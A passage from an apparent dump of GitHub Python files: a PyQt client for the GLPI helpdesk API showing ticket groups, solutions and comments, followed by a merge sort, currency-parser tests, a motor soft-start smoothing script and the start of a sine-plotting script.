headers=headersGet)\n\n # get users in ticket data json\n ticketDataGroupJson = responseTicketGet.json()\n\n # debug\n print(type(ticketDataGroupJson))\n print(ticketDataGroupJson)\n\n ticketGroupCount=len(ticketDataGroupJson)\n\n arrayTicketAssignedGroupsId = []\n\n # get groups in ticket\n for ticketGroupNumber in range(ticketGroupCount):\n ticketGroup = (ticketDataGroupJson[ticketGroupNumber])\n print(ticketGroup)\n\n # parse json data\n ticketGroupId = ticketGroup['groups_id']\n ticketGroupType = ticketGroup['type']\n\n # debug\n print(\"Ticket GROUP ID: \" + str(ticketGroupId))\n\n # if type of GROUP is ASSIGNED SPEC\n if ticketGroupType == 2:\n arrayTicketAssignedGroupsId.append(ticketGroupId)\n\n print(\"Array users assigned ID: \" + str(arrayTicketAssignedGroupsId))\n\n\n # if assisned groups in ticket exist\n if len(arrayTicketAssignedGroupsId) >= 0:\n\n assignedGroupsCount = len(arrayTicketAssignedGroupsId)\n\n # draw table\n ticketAssignedGroupsRowCount = assignedGroupsCount\n\n tableAssignedGroups = QTableWidget(self) # create table\n tableAssignedGroups.setColumnCount(1) # set number of columns\n tableAssignedGroups.setRowCount(ticketAssignedGroupsRowCount) # and one string in table\n tableAssignedGroups.setEditTriggers(QTableWidget.NoEditTriggers) # disable edit cells\n #tableSolutions.setSelectionBehavior(QTableWidget.SelectRows) # select full row instead of one cell\n tableAssignedGroups.setVerticalScrollMode(QAbstractItemView.ScrollPerPixel) # smooth scroll\n tableAssignedGroups.verticalHeader().setVisible(False) # hide vertical headers (number of row)\n tableAssignedGroups.verticalHeader().setSectionResizeMode(QHeaderView.ResizeToContents) # resize rows in vertical to content with WORD WRAP\n\n tableAssignedGroups.setStyleSheet(\"\"\"\n QTableWidget::item {\n selection-color: black;\n selection-background-color: lightblue;\n padding: 2px;\n border: none;\n }\n \"\"\")\n\n # headers of table style\n tableAssignedGroups.horizontalHeader().setStyleSheet(\"\"\"\n QHeaderView::section {padding: 8px; background-color: lightgrey; border: 1px; }\n \"\"\")\n\n # SORT\n # table.setSortingEnabled(True)\n\n headerAssignedGroups = tableAssignedGroups.horizontalHeader()\n\n # stretch last column\n headerAssignedGroups.setStretchLastSection(True)\n\n # resize width of column to content\n headerAssignedGroups.setSectionResizeMode(QHeaderView.ResizeToContents)\n\n # headers of table\n itemTicketAssignedGroupsTableHeaderAuthor = QTableWidgetItem(_(\"Group of specialists\"))\n itemTicketAssignedGroupsTableHeaderAuthor.setToolTip(_(\"Assigned group of specialists\"))\n itemTicketAssignedGroupsTableHeaderAuthor.setFont(QFont(\"Arial\", 10, QFont.Bold))\n tableAssignedGroups.setHorizontalHeaderItem(0, itemTicketAssignedGroupsTableHeaderAuthor)\n\n # get solution data\n for ticketAssignedGroupNumber in range(assignedGroupsCount):\n\n # GET Name of Group of Solution by userID WITH ADMINSESSIONTOKEN\n\n # request headers\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n ticketAssignedGroupId = arrayTicketAssignedGroupsId[ticketAssignedGroupNumber]\n\n responseAssignedGroup = requests.get(\n glpiApiBaseUrl + '/Group/' + str(ticketAssignedGroupId),\n headers=headersGet)\n\n # debug\n print(responseAssignedGroup)\n\n # pycharm 2018 x32 python 3.4\n responseAssignedGroupJson = responseAssignedGroup.json()\n\n # debug\n print(responseAssignedGroupJson)\n print(type(responseAssignedGroupJson))\n\n # get solution author's name\n ticketAssignedGroupName = responseAssignedGroupJson['name']\n\n # fill table\n tableAssignedGroups.setItem(ticketAssignedGroupNumber, 0, QTableWidgetItem(str(ticketAssignedGroupName)))\n\n # sort table by date (1 column) with ascend\n tableAssignedGroups.sortItems(1, Qt.AscendingOrder)\n\n ### GET SIGNED GROUP OF SPECIALIST END\n ######\n\n\n ######\n ### GET TICKET SOLUTION JSON (TABLE WITH SOLUTION)\n\n # request headers\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n # range (default: 0-50): a string with a couple of number for start and end of pagination separated by a '-'. Ex: 150-200. Optional.\n responseTicketGet = requests.get(glpiApiBaseUrl + '/Ticket/' + myTicketIdInTableOfTickets + '/ITILSolution/?range=0-999999', headers=headersGet)\n\n # get list of followups json\n ticketJsonListOfSolutions = responseTicketGet.json()\n\n # debug\n print(type(ticketJsonListOfSolutions))\n print(len(ticketJsonListOfSolutions))\n print(ticketJsonListOfSolutions)\n\n ticketSolutionsCount = len(ticketJsonListOfSolutions)\n\n if ticketSolutionsCount > 0:\n\n # draw table\n ticketSolutionsRowCount = ticketSolutionsCount\n\n tableSolutions = QTableWidget(self) # create table\n tableSolutions.setColumnCount(3) # set number of columns\n tableSolutions.setRowCount(ticketSolutionsRowCount) # and one string in table\n tableSolutions.setEditTriggers(QTableWidget.NoEditTriggers) # disable edit cells\n #tableSolutions.setSelectionBehavior(QTableWidget.SelectRows) # select full row instead of one cell\n tableSolutions.setVerticalScrollMode(QAbstractItemView.ScrollPerPixel) # smooth scroll\n tableSolutions.verticalHeader().setVisible(False) # hide vertical headers (number of row)\n tableSolutions.verticalHeader().setSectionResizeMode(QHeaderView.ResizeToContents) # resize rows in vertical to content with WORD WRAP\n #tableSolutions.verticalHeader().setSectionResizeMode(QHeaderView.Stretch) # stretch rows in vertical to content with WORD WRAP\n #tableSolutions.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff) # scroll off\n #tableSolutions.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) # scroll off\n\n tableSolutions.setStyleSheet(\"\"\"\n QTableWidget::item {\n selection-color: black;\n selection-background-color: lightblue;\n padding: 5px;\n border: none;\n }\n \"\"\")\n\n # headers of table style\n tableSolutions.horizontalHeader().setStyleSheet(\"\"\"\n QHeaderView::section {padding: 8px; background-color: lightgrey; border: 1px; }\n \"\"\")\n\n # SORT\n # table.setSortingEnabled(True)\n\n headerSolutions = tableSolutions.horizontalHeader()\n\n # stretch last column\n headerSolutions.setStretchLastSection(True)\n\n # resize width of column to content\n headerSolutions.setSectionResizeMode(QHeaderView.ResizeToContents)\n\n # headers of table\n itemTicketSolutionsTableHeaderAuthor = QTableWidgetItem(_(\"Author\"))\n # itemTableHeaderId.setBackground(QColor(255, 255, 0))\n itemTicketSolutionsTableHeaderAuthor.setToolTip(_(\"Author\"))\n itemTicketSolutionsTableHeaderAuthor.setFont(QFont(\"Arial\", 10, QFont.Bold))\n tableSolutions.setHorizontalHeaderItem(0, itemTicketSolutionsTableHeaderAuthor)\n\n itemTicketSolutionsTableHeaderCreateDate = QTableWidgetItem(_(\"Date\"))\n itemTicketSolutionsTableHeaderCreateDate.setToolTip(_(\"Creation date\"))\n itemTicketSolutionsTableHeaderCreateDate.setFont(QFont(\"Arial\", 10, QFont.Bold))\n tableSolutions.setHorizontalHeaderItem(1, itemTicketSolutionsTableHeaderCreateDate)\n\n itemTicketSolutionsTableHeaderContent = QTableWidgetItem(_(\"Solution\"))\n itemTicketSolutionsTableHeaderContent.setToolTip(_(\"Solution text\"))\n itemTicketSolutionsTableHeaderContent.setFont(QFont(\"Arial\", 10, QFont.Bold))\n tableSolutions.setHorizontalHeaderItem(2, itemTicketSolutionsTableHeaderContent)\n\n # get solution data\n for ticketSolutionNumber in range(ticketSolutionsCount):\n\n ticketSolution = (ticketJsonListOfSolutions[ticketSolutionNumber])\n print(\"ticketSolution:\")\n print(ticketSolution)\n print('\\r')\n\n # get solution author\n ticketSolutionAuthorId = ticketSolution['users_id']\n print(ticketSolutionAuthorId)\n\n ################\n\n # GET Name of User-Author of Solution by userID WITH ADMINSESSIONTOKEN\n\n # request headers\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n responseSolutionAuthor = requests.get(\n glpiApiBaseUrl + '/User/' + str(ticketSolutionAuthorId),\n headers=headersGet)\n\n # debug\n print(responseSolutionAuthor)\n\n # pycharm 2018 x32 python 3.4\n responseSolutionAuthorJson = responseSolutionAuthor.json()\n\n # debug\n print(responseSolutionAuthorJson)\n print(type(responseSolutionAuthorJson))\n\n # get solution author's name(LOGIN)\n try:\n ticketSolutionAuthorLogin = responseSolutionAuthorJson['name']\n except Exception as e:\n logging.error('Error at %s', 'division', exc_info=e)\n ticketSolutionAuthorLogin = \"\"\n pass\n\n # get solution author's firstname\n try:\n ticketSolutionAuthorFirstname = responseSolutionAuthorJson['firstname']\n except Exception as e:\n logging.error('Error at %s', 'division', exc_info=e)\n ticketSolutionAuthorFirstname = \"\"\n pass\n\n # get solution author's secondname\n try:\n ticketSolutionAuthorSecondname = responseSolutionAuthorJson['realname']\n except Exception as e:\n logging.error('Error at %s', 'division', exc_info=e)\n ticketSolutionAuthorSecondname = \"\"\n pass\n\n # debug\n print(ticketSolutionAuthorLogin)\n print(ticketSolutionAuthorFirstname)\n print(ticketSolutionAuthorSecondname)\n\n # if user's first name or second name exist - fill solution with it\n if ticketSolutionAuthorFirstname or ticketSolutionAuthorSecondname:\n ticketSolutionAuthorFullName = (str(ticketSolutionAuthorFirstname) + ' ' + str(ticketSolutionAuthorSecondname))\n else:\n # else fill solution with user login\n ticketSolutionAuthorFullName = ticketSolutionAuthorLogin\n\n # get solution create date\n ticketSolutionCreateDate = ticketSolution['date_creation']\n print(ticketSolutionCreateDate)\n\n # get solution content\n ticketSolutionContent = ticketSolution['content']\n\n # double convertion from HTML markdown to text\n # (exactly in this format GLPI shows the text of the solution or followup!)\n # For example:\n # convert \"<p>Решение</p>\" to \"

Решение

\", and then convert to \"Решение\"\n ticketSolutionContent = markdownify.markdownify(markdownify.markdownify(ticketSolutionContent))\n\n # remove HTML-TAG \"<p>\" from solution content\n ticketSolutionContent = ticketSolutionContent.replace('<p>', '')\n ticketSolutionContent = ticketSolutionContent.replace('</p>', '')\n\n # debug\n print(ticketSolutionContent)\n\n # fill table\n tableSolutions.setItem(ticketSolutionNumber, 0, QTableWidgetItem(str(ticketSolutionAuthorFullName)))\n tableSolutions.setItem(ticketSolutionNumber, 1, QTableWidgetItem(str(ticketSolutionCreateDate)))\n tableSolutions.setItem(ticketSolutionNumber, 2, QTableWidgetItem(str(ticketSolutionContent)))\n\n # set alignment for text in ALL columns\n for columnNumber in range(3):\n tableSolutions.item(0, columnNumber).setTextAlignment(Qt.AlignLeft | Qt.AlignTop)\n\n #table.item(ticketFollowupNumber, 0).setBackground(QColor(211,211,211))\n\n # auto scroll down to table of followups\n itemSolutionLastRow = tableSolutions.item((ticketSolutionsCount - 1), 0)\n tableSolutions.scrollToItem(itemSolutionLastRow, QAbstractItemView.PositionAtTop)\n\n # TMP FOR SORT\n # create a normal QTableWidgetItem\n # a = QTableWidgetItem()\n # a.setText(str(ticketFollowupNumber))\n # table.setItem(ticketFollowupNumber, 0, a)\n\n # select row\n #table.selectRow(ticketFollowupsCount - 1)\n\n # sort table by date (1 column) with ascend\n tableSolutions.sortItems(1, Qt.AscendingOrder)\n\n if ticketSolutionsCount == 0:\n print(_(\"There is no solution\"))\n\n # TABLE WITH NO SOLUTION\n\n tableSolutions = QTableWidget(self)\n tableSolutions.setColumnCount(1)\n\n header = tableSolutions.horizontalHeader()\n header.setStretchLastSection(True)\n\n # set table header\n tableSolutions.setHorizontalHeaderLabels([_(\"There is no solution\")])\n\n # set header align\n tableSolutions.horizontalHeaderItem(0).setTextAlignment(Qt.AlignHCenter)\n\n\n #################\n print(\"ticket SOLUTIONS count: \" + str(ticketSolutionsCount))\n #################\n\n ######\n # GET TICKET FOLLOWUP JSON (TABLE WITH FOLLOWUPS)\n\n # reauest headers\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n # range (default: 0-50): a string with a couple of number for start and end of pagination separated by a '-'. Ex: 150-200. Optional.\n responseTicketGet = requests.get(glpiApiBaseUrl + '/Ticket/' + myTicketIdInTableOfTickets + '/TicketFollowup/?range=0-999999', headers=headersGet)\n\n # get list of followups json\n ticketJsonListOfFollowups = responseTicketGet.json()\n\n # debug\n print(type(ticketJsonListOfFollowups))\n print(len(ticketJsonListOfFollowups))\n print(ticketJsonListOfFollowups)\n\n ticketFollowupsCount = len(ticketJsonListOfFollowups)\n\n if ticketFollowupsCount > 0:\n\n # draw table\n ticketRowCount = ticketFollowupsCount\n\n table = QTableWidget(self) # reate table\n table.setColumnCount(3) # set columns number\n table.setRowCount(ticketRowCount) # and one string in table\n table.setEditTriggers(QTableWidget.NoEditTriggers) # disable edit cells\n #table.setSelectionBehavior(QTableWidget.SelectRows) # select full row instead of one cell\n table.setVerticalScrollMode(QAbstractItemView.ScrollPerPixel) # smooth scroll\n table.verticalHeader().setVisible(False) # hide vertical headers (number of row)\n table.verticalHeader().setSectionResizeMode(QHeaderView.ResizeToContents) # resize rows in vertical to content with WORD WRAP\n\n table.setStyleSheet(\"\"\"\n QTableWidget::item {\n selection-color: black;\n selection-background-color: lightblue;\n padding: 5px;\n border: none;\n }\n \"\"\")\n\n # headers of table style\n table.horizontalHeader().setStyleSheet(\"\"\"\n QHeaderView::section {padding: 8px; background-color: lightgrey; border: 1px; }\n \"\"\")\n\n # SORT\n # table.setSortingEnabled(True)\n\n header = table.horizontalHeader()\n\n # stretch last column\n header.setStretchLastSection(True)\n\n # resize width of column to content\n header.setSectionResizeMode(QHeaderView.ResizeToContents)\n\n # headers of table\n itemTicketTableHeaderAuthor = QTableWidgetItem(_(\"Author\"))\n # itemTableHeaderId.setBackground(QColor(255, 255, 0))\n itemTicketTableHeaderAuthor.setToolTip(_(\"Author\"))\n itemTicketTableHeaderAuthor.setFont(QFont(\"Arial\", 10, QFont.Bold))\n table.setHorizontalHeaderItem(0, itemTicketTableHeaderAuthor)\n\n itemTicketTableHeaderCreateDate = QTableWidgetItem(_(\"Date\"))\n itemTicketTableHeaderCreateDate.setToolTip(_(\"Creation date\"))\n itemTicketTableHeaderCreateDate.setFont(QFont(\"Arial\", 10, QFont.Bold))\n table.setHorizontalHeaderItem(1, itemTicketTableHeaderCreateDate)\n\n itemTicketTableHeaderContent = QTableWidgetItem(_(\"Comment\"))\n itemTicketTableHeaderContent.setToolTip(_(\"Comment text\"))\n itemTicketTableHeaderContent.setFont(QFont(\"Arial\", 10, QFont.Bold))\n table.setHorizontalHeaderItem(2, itemTicketTableHeaderContent)\n\n # get followup data\n for ticketFollowupNumber in range(ticketFollowupsCount):\n\n ticketFollowup = (ticketJsonListOfFollowups[ticketFollowupNumber])\n print(ticketFollowup)\n print('\\r')\n\n # get followup author\n ticketFollowupAuthorId = ticketFollowup['users_id']\n print(\"ticketFollowupAuthorId: \" + str(ticketFollowupAuthorId))\n\n ################\n\n # GET Name of User-Author of Followup by userID WITH ADMINSESSIONTOKEN\n\n # request headers\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n responseFollowupAuthor = requests.get(\n glpiApiBaseUrl + '/User/' + str(ticketFollowupAuthorId),\n headers=headersGet)\n\n # debug\n print(responseFollowupAuthor)\n\n # pycharm 2018 x32 python 3.4\n responseFollowupAuthorJson = responseFollowupAuthor.json()\n\n # debug\n print(responseFollowupAuthorJson)\n print(type(responseFollowupAuthorJson))\n\n # get followup author's name\n try:\n ticketFollowupAuthorLogin = responseFollowupAuthorJson['name']\n except Exception as e:\n logging.error('Error at %s', 'division', exc_info=e)\n ticketFollowupAuthorLogin = \"\"\n pass\n\n try:\n ticketFollowupAuthorFirstname = responseFollowupAuthorJson['firstname']\n except Exception as e:\n logging.error('Error at %s', 'division', exc_info=e)\n ticketFollowupAuthorFirstname = \"\"\n pass\n\n try:\n ticketFollowupAuthorSecondname = responseFollowupAuthorJson['realname']\n except Exception as e:\n logging.error('Error at %s', 'division', exc_info=e)\n ticketFollowupAuthorSecondname = \"\"\n pass\n\n # debug\n print(ticketFollowupAuthorLogin)\n print(ticketFollowupAuthorFirstname)\n print(ticketFollowupAuthorSecondname)\n\n # change ticket Author's name to \"Me\"\n if userId == ticketFollowupAuthorId:\n ticketFollowupAuthorFullName = _(\"Me\")\n else:\n # if user's first name or second name exist - fill comment with it\n if ticketFollowupAuthorFirstname or ticketFollowupAuthorSecondname:\n ticketFollowupAuthorFullName = (\n str(ticketSolutionAuthorFirstname) + ' ' + str(ticketSolutionAuthorSecondname))\n else:\n # else fill solution with user login\n ticketFollowupAuthorFullName = ticketFollowupAuthorLogin\n\n # get followup create date\n ticketFollowupCreateDate = ticketFollowup['date_creation']\n print(ticketFollowupCreateDate)\n\n # get followup content\n ticketFollowupContent = ticketFollowup['content']\n\n # double convertion from HTML markdown to text\n # (exactly in this format GLPI shows the text of the solution or followup!)\n # For example:\n # convert \"<p>Решение</p>\" to \"

Решение

\", and then convert to \"Решение\"\n ticketFollowupContent = markdownify.markdownify(markdownify.markdownify(ticketFollowupContent))\n\n print(ticketFollowupContent)\n\n # fill table\n table.setItem(ticketFollowupNumber, 0, QTableWidgetItem(str(ticketFollowupAuthorFullName)))\n table.setItem(ticketFollowupNumber, 1, QTableWidgetItem(str(ticketFollowupCreateDate)))\n table.setItem(ticketFollowupNumber, 2, QTableWidgetItem(str(ticketFollowupContent)))\n\n #table.item(ticketFollowupNumber, 0).setBackground(QColor(211,211,211))\n\n # auto scroll down to table of followups\n itemLastRow = table.item((ticketFollowupsCount - 1), 0)\n table.scrollToItem(itemLastRow, QAbstractItemView.PositionAtTop)\n\n # TMP FOR SORT\n # create a normal QTableWidgetItem\n # a = QTableWidgetItem()\n # a.setText(str(ticketFollowupNumber))\n # table.setItem(ticketFollowupNumber, 0, a)\n\n # select row\n #table.selectRow(ticketFollowupsCount - 1)\n\n # sort table by date (1 column) with ascend\n table.sortItems(1, Qt.AscendingOrder)\n\n if ticketFollowupsCount == 0:\n print(_(\"There is no comments\"))\n\n # TABLE WITH FOLLOWUPS\n\n table = QTableWidget(self)\n table.setColumnCount(1)\n\n header = table.horizontalHeader()\n header.setStretchLastSection(True)\n\n # Устанавливаем заголовки таблицы\n table.setHorizontalHeaderLabels([_(\"There is no comments\")])\n\n # Устанавливаем выравнивание на заголовки\n table.horizontalHeaderItem(0).setTextAlignment(Qt.AlignHCenter)\n\n\n #################\n print(\"ticket followup count: \" + str(ticketFollowupsCount))\n #################\n\n # followup text entry\n self.followupBodyEntry = QPlainTextEdit(placeholderText=_(\"Write a comment...\"))\n self.followupBodyEntry.setFont(QFont(\"Decorative\", 8))\n self.followupBodyEntry.setFixedSize(550, 50)\n\n # add ticket button\n self.followupAddButton = QPushButton(_(\"Send\") + \" (Ctrl+Enter)\", self)\n self.followupAddButton.setFixedSize(160, 50)\n self.followupAddButton.clicked.connect(self.addFollowup)\n\n # if ticket is closed - disable followup text entry & add button\n if myTicketStatusId == 6:\n self.followupBodyEntry.setDisabled(True)\n self.followupAddButton.setDisabled(True)\n self.followupBodyEntry.setPlaceholderText(\"\")\n self.followupAddButton.setToolTip(_(\"Comments cannot be added to the closed ticket\"))\n #self.followupAddButton.setToolTipDuration(0)\n\n #################\n\n # showticket grid create\n grid = QGridLayout()\n\n # showticket label show in grid\n grid.addWidget(self.showTicketLabelHead, 0, 0, 1, 4, alignment=Qt.AlignTop | Qt.AlignCenter)\n\n grid.addWidget(tableTicketData, 1, 0, 2, 3)\n\n # table with assigned spec\n tableAssignedSpecs.setFixedWidth(200)\n tableAssignedSpecs.setFixedHeight(100)\n grid.addWidget(tableAssignedSpecs, 1, 3, 1, 1)\n\n # table with assigned spec\n tableAssignedGroups.setFixedWidth(200)\n tableAssignedGroups.setFixedHeight(100)\n grid.addWidget(tableAssignedGroups, 2, 3, 1, 1)\n\n # showticket solutions label show in grid\n grid.addWidget(self.showTicketSolutionsLabelHead, 3, 0, 1, 4, alignment=Qt.AlignTop | Qt.AlignCenter)\n\n # table of solutions data show in grid\n grid.addWidget(tableSolutions, 4, 0, 1, 4)\n\n # showticket followups label show in grid\n grid.addWidget(self.showTicketFollowupsLabelHead, 5, 0, 1, 4, alignment=Qt.AlignTop | Qt.AlignCenter)\n\n # table of followups data show in grid\n grid.addWidget(table, 6, 0, 1, 4)\n\n # showticket addfollowup entry show in grid\n grid.addWidget(self.followupBodyEntry, 7, 0, 1, 3, alignment=Qt.AlignVCenter | Qt.AlignHCenter)\n\n # showticket addfollowup BUTTON show in grid\n grid.addWidget(self.followupAddButton, 7, 3, 1, 1, alignment=Qt.AlignVCenter | Qt.AlignHCenter)\n\n self.setLayout(grid)\n\n self.show()\n\n # center window\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\n # ADD FOLLOWUP\n\n # add followup func\n def addFollowup(self):\n\n # text of followup body entry - get vars from entrys\n followupBody = self.followupBodyEntry.toPlainText()\n\n # if ticket body is empty\n if followupBody == \"\":\n\n QMessageBox.about(self, _(\"Error\"), _(\"Comment field must not be empty\"))\n\n else:\n\n # post headers\n headersPost = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n # post json data - ticket body\n data = {\"input\": {\"tickets_id\": myTicketIdInTableOfTickets, \"content\": followupBody}}\n\n # create ticket\n requestAddFollowup = requests.post(\n glpiApiBaseUrl + '/Ticket/' + myTicketIdInTableOfTickets + '/TicketFollowup', data=json.dumps(data),\n headers=headersPost)\n\n # get response on request of add ticket\n responseAddFollowup = requestAddFollowup.json()\n\n # debug\n print(responseAddFollowup)\n\n # if response is correct json\n if type(responseAddFollowup).__name__ == 'dict':\n print(\"responseAddFollowup is NOT correct\")\n\n # refresh ticket win with followups\n self.close()\n self.exec_ = ShowTicketWin()\n\n # press Enter to addFollowup\n def keyPressEvent(self, event):\n key = event.key()\n if key == Qt.Key_Enter or key == Qt.Key_Return:\n self.addFollowup()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n\n # show authwin\n ex = AuthWin()\n\n sys.exit(app.exec_())\n","repo_name":"clesssalvein/GlpiClient","sub_path":"GlpiClient.py","file_name":"GlpiClient.py","file_ext":"py","file_size_in_byte":118636,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"6458606959","text":"\"\"\"\r\nmerges two sub arrays from a given array\r\narry[left....right] -> [0..mid] and [mid+1...right]\r\n\"\"\"\r\n\r\ndef mergeSort(arr):\r\n\tif len(arr)>1:\r\n\t\tmid = len(arr)//2\r\n\t\tfirsthalf = arr[:mid]\r\n\t\tsechalf = arr[mid:]\r\n\t\t\r\n\t\tmergeSort(firsthalf)\r\n\t\tmergeSort(sechalf)\r\n\t\t\r\n\t\ti,j,k = 0,0,0\r\n\t\twhile i < len(firsthalf) and j < len(sechalf):\r\n\t\t\tif firsthalf[i] <= sechalf[j]:\r\n\t\t\t\tarr[k] = firsthalf[i]\r\n\t\t\t\ti += 1\r\n\t\t\telse:\r\n\t\t\t\tarr[k] = sechalf[j]\r\n\t\t\t\tj += 1\r\n\t\t\tk += 1\r\n\t\twhile i < len(firsthalf):\r\n\t\t\tarr[k] = firsthalf[i]\r\n\t\t\ti += 1\r\n\t\t\tk += 1\r\n\t\twhile j < len(sechalf):\r\n\t\t\tarr[k] = sechalf[j]\r\n\t\t\tj += 1\r\n\t\t\tk += 1\r\n\r\n\t\t\t\r\n\t\t\r\n\t","repo_name":"hbarovertwo/Algorithm-Practice","sub_path":"mergesort.py","file_name":"mergesort.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23138048890","text":"from currency.tasks import parse_privatbank, parse_monobank\nfrom currency.models import Rate\n\nfrom tests.utils.task_utils import get_request_mocker\nfrom tests.constants.currency.parse import PRIVATBANK_DATA, MONOBANK_DATA\n\n\ndef test_parse_privatbank(mocker):\n initial_count = Rate.objects.count()\n privat_data = PRIVATBANK_DATA\n request_get_mock = get_request_mocker(mocker, privat_data) # noqa: F841\n parse_privatbank()\n assert Rate.objects.count() == initial_count + 2\n parse_privatbank()\n assert Rate.objects.count() == initial_count + 2\n\n\ndef test_parse_monobank(mocker):\n monobank_data = MONOBANK_DATA\n initial_count = Rate.objects.count()\n request_get_mock = get_request_mocker(mocker, monobank_data) # noqa: F841\n parse_monobank()\n assert Rate.objects.count() == initial_count + 2\n parse_monobank()\n assert Rate.objects.count() == initial_count + 2\n","repo_name":"Giperelk/currency","sub_path":"app/tests/tasks/currency/parse_tests.py","file_name":"parse_tests.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2303829424","text":"#! /usr/bin/env python\n\n###############################################################################\n# motor_soft_start_test.py\n#\n# script to test a simple averaging algorithm for smoothing motor starts and stops\n#\n# NOTE: Any plotting is set up for output, not viewing on screen.\n# So, it will likely be ugly on screen. The saved PDFs should look\n# better.\n#\n# Created: 11/11/17\n# - Joshua Vaughan\n# - joshua.vaughan@louisiana.edu\n# - http://www.ucs.louisiana.edu/~jev9637\n#\n# Modified:\n# * \n#\n# TODO:\n# * \n###############################################################################\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\ntime = np.linspace(0,10,1001)\ndesired_speed = 100 * np.ones_like(time) * ((time < 1) + (time > 2))\n# desired_speed = 2000 + 2000 * np.sin(0.25 * 2 * np.pi * time)\nspeed = np.zeros_like(time)\n\nlast_speed = 0 # The initial speed is 0\n\n# The variable alpha defines how quickly we track changes. A higher value slows\n# our response by favoring previous inputs more heavily. Our speed will be:\n# speed = alpha * last_speed + beta * desired_speed\n# For the choices below, we should have a rise time to a step input in speed\n# of about 20 time steps to reach 90% of the desired value\nalpha = 0.9\nbeta = 1 - alpha\n\nfor index, desired in enumerate(desired_speed):\n \n speed[index] = alpha * last_speed + beta * desired\n last_speed = speed[index]\n \n# print(\"Deired speed: {}\".format(desired_speed))\n# print(\"Current commadn: {}\".format(speed))\n# print(\"Last speed: {}\".format(last_speed))\n # motors.speed(MOTOR_NUMBER, speed)\n \n # Sleep 100ms (0.1s)\n# time.sleep_ms(100)\n\n\n\n# Set the plot size - 3x2 aspect ratio is best\nfig = plt.figure(figsize=(6,4))\nax = plt.gca()\nplt.subplots_adjust(bottom=0.17, left=0.17, top=0.96, right=0.96)\n\n# Change the axis units font\nplt.setp(ax.get_ymajorticklabels(),fontsize=18)\nplt.setp(ax.get_xmajorticklabels(),fontsize=18)\n\nax.spines['right'].set_color('none')\nax.spines['top'].set_color('none')\n\nax.xaxis.set_ticks_position('bottom')\nax.yaxis.set_ticks_position('left')\n\n# Turn on the plot grid and set appropriate linestyle and color\nax.grid(True,linestyle=':', color='0.75')\nax.set_axisbelow(True)\n\n# Define the X and Y axis labels\nplt.xlabel('Time (s)', fontsize=22, weight='bold', labelpad=5)\nplt.ylabel('Duty Cycle Command', fontsize=22, weight='bold', labelpad=10)\n \nplt.plot(time, desired_speed, linewidth=2, linestyle='-', label=r'Desired')\nplt.plot(time, speed, linewidth=2, linestyle='--', label=r'Actual')\n\n# uncomment below and set limits if needed\n# plt.xlim(0,5)\nplt.ylim(0,5000)\n\n# Create the legend, then fix the fontsize\nleg = plt.legend(loc='upper right', ncol = 2, fancybox=True)\nltext = leg.get_texts()\nplt.setp(ltext,fontsize=18)\n\n# Adjust the page layout filling the page using the new tight_layout command\nplt.tight_layout(pad=0.5)\n\n# save the figure as a high-res pdf in the current folder\n# plt.savefig('plot_filename.pdf')\n\n# show the figure\nplt.show()","repo_name":"DocVaughan/MCHE201---Intro-to-Eng-Design","sub_path":"Misc Python Scripts/motor_soft_start_test.py","file_name":"motor_soft_start_test.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"39826862692","text":"#-*- coding: utf-8 -*-\n\n__author__ = 'm.forys'\n\ncard = (\"A\", \"K\", \"Q\", \"J\", \"10\", \"9\", \"8\", \"7\", \"6\", \"5\", \"4\", \"3\", \"2\")\ncolor = (\"S\", \"H\", \"D\", \"C\")\n\n\nclass Card:\n def __init__(self, card_id):\n self.id = card_id\n self.rep = self.transfer_int_2_rep()\n\n def transfer_int_2_rep(self):\n color_i = int(self.id / 13)\n card_i = self.id % 13\n card_color = color[color_i]\n card_value = card[card_i]\n\n result = []\n result.extend(card_color)\n result.append(card_value)\n return result\n\n def transfer_int_2_string(self):\n result = ' '.join(self.rep)\n return result\n","repo_name":"mforys/bridge_mf_py","sub_path":"card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26051257021","text":"def simple_generator():\n x=1\n yield x\n yield x+1\n yield x+2\n\ngenerator_object = simple_generator()\n\n#next(generator_object)\n#i=1\nfor i in range(3):\n for i in generator_object:\n print(i)\n\n","repo_name":"Sudipta0102/PyBasic","sub_path":"Misc/yield1.py","file_name":"yield1.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11549216757","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ndpi = 300\ntransparent = True\nPI = np.pi\nTWO_PI = 2*PI\nNUM = 44000\nshow = False\n\n\ndef lineplot(x, y, filename=None, title=None):\n fig, ax = plt.subplots()\n ax.plot(x, y)\n ax.set_xlabel('Time')\n ax.set_ylabel('Amplitude')\n ax.set_title(title)\n if show:\n plt.show()\n if filename != None:\n fig.savefig(filename, bbox_inches='tight',\n transparent=transparent, pad_inches=0, dpi=dpi)\n\n\ndef sine(f, filename=None):\n t = np.linspace(0, 1, NUM)\n amp = 